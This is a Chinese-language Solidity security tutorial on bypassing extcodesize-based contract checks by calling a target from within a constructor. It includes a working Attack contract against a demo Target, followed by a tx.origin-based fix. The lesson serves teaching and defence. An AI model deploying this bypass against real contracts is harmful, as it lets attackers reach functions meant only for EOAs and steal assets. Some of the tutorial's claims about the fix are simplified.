在 Solidity 智能合约开发中,开发人员通常会使用各种检查机制来确保合约的安全性。其中一种常见的做法是利用 extcodesize 函数检查调用者地址的代码大小,从而区分合约账户和外部账户(EOA)。然而,如果这一机制被误用,攻击者就可以利用合约构造函数中的临时漏洞绕过检查,发起恶意行为。
漏洞原理解析
智能合约在初次部署时,会先执行构造函数代码。**在构造函数执行完毕之前,新部署的合约地址上实际上还没有任何字节码存在。**这就导致了基于 extcodesize 检查的一个盲区:如果攻击者在构造函数中立即调用目标合约,由于此时攻击合约地址上的字节码尚未存储,extcodesize(address(this)) 会返回 0,从而绕过 isContract 检查。
contract Attack {
constructor(address _target) {
// 此时 extcodesize(address(this)) == 0
// 绕过目标合约的isContract检查
Target(_target).isContract(address(this));
}
}
上述代码展示了一个典型的攻击流程。Attack 合约在构造时传入 Target 合约地址,并在构造函数内部立即调用 Target.isContract()函数。由于 Attack 尚未完成部署,所以 isContract(address(this)) 会返回 false,攻击者就可以越过这层防护调用受保护的函数。
漏洞攻击演示
Target 合约中有状态变量 pwned,默认值为 false,该合约设计的初衷是只有 EOA 账户才能修改它的值,合约账户则不被允许,它通过 isContract 函数来达到此目的,该函数依赖于 extcodesize 方法。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Target {
function isContract(address account) public view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
如下为尝试发起漏洞攻击的 FailedAttack 合约,这个合约的逻辑非常简单,它通过 pwn 函数调用了 Target 合约,但并不会成功。
contract FailedAttack {
// Attempting to call Target.protected will fail,
// Target block calls from contract
function pwn(address _target) external {
// This will fail
Target(_target).protected();
}
}
1.我们使用账户 0x5B3…dC4分别部署这两个合约,并调用 pwn 函数,发现 Target 合约还是准确的识别了调用者为合约账户,而非 EOA 账户。
2.接下来我们部署如下的攻击合约,该合约在构造函数中完成了攻击。
contract Attack {
bool public isContract;
address public addr;
// When contract is being created, code size (extcodesize) is 0.
// This will bypass the isContract() check
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// This will work
Target(_target).protected();
}
}
3.Target 合约此时的状态变量 pwned 已是 true,而 Attack 合约记录的状态变量 isContract 也显示它并不是合约,所以,成功的绕过了目标合约的合约检查。
防范措施
合约账户检查漏洞破坏了开发者为保护关键函数而设置的检查机制,攻击者可以在未经授权的情况下调用原本只对 EOA 地址开放的函数。这为攻击者利用这些关键函数实施其他恶意行为,如盗取资产、篡改数据等,带来了极大风险。
要修复这个漏洞,我们可以不依赖 extcodesize 进行检查,而是直接比较 tx.origin 和 msg.sender 是否相同。由于 tx.origin 一定是 EOA 地址,因此可以有效区分合约和 EOA 调用。
function isContract(address account) public view returns (bool) {
require(tx.origin == msg.sender);
return account.code.length > 0;
}
尽管 tx.origin == msg.sender 检查看似简单直接,但也存在上述一些缺陷和风险。
1.**额外的 Gas 开销:**相比直接使用 extcodesize 检查,利用 tx.origin 执行 EVM 操作码 origin 需要更多的 Gas 开销。
2.**不利于多签名钱包等复杂场景的支持:**tx.origin 固定指向最初发起交易的 EOA 地址,无法适应多签名钱包等复杂的调用场景。在这些场景下,使用 tx.origin 会带来不便。
因此,在实际应用中,需要结合具体的业务场景和安全要求,权衡选用何种防御手段。同时也需要注意,单一利用 tx.origin 并不能完全阻挡所有的攻击,结合其他手段进行多层防御更为可靠。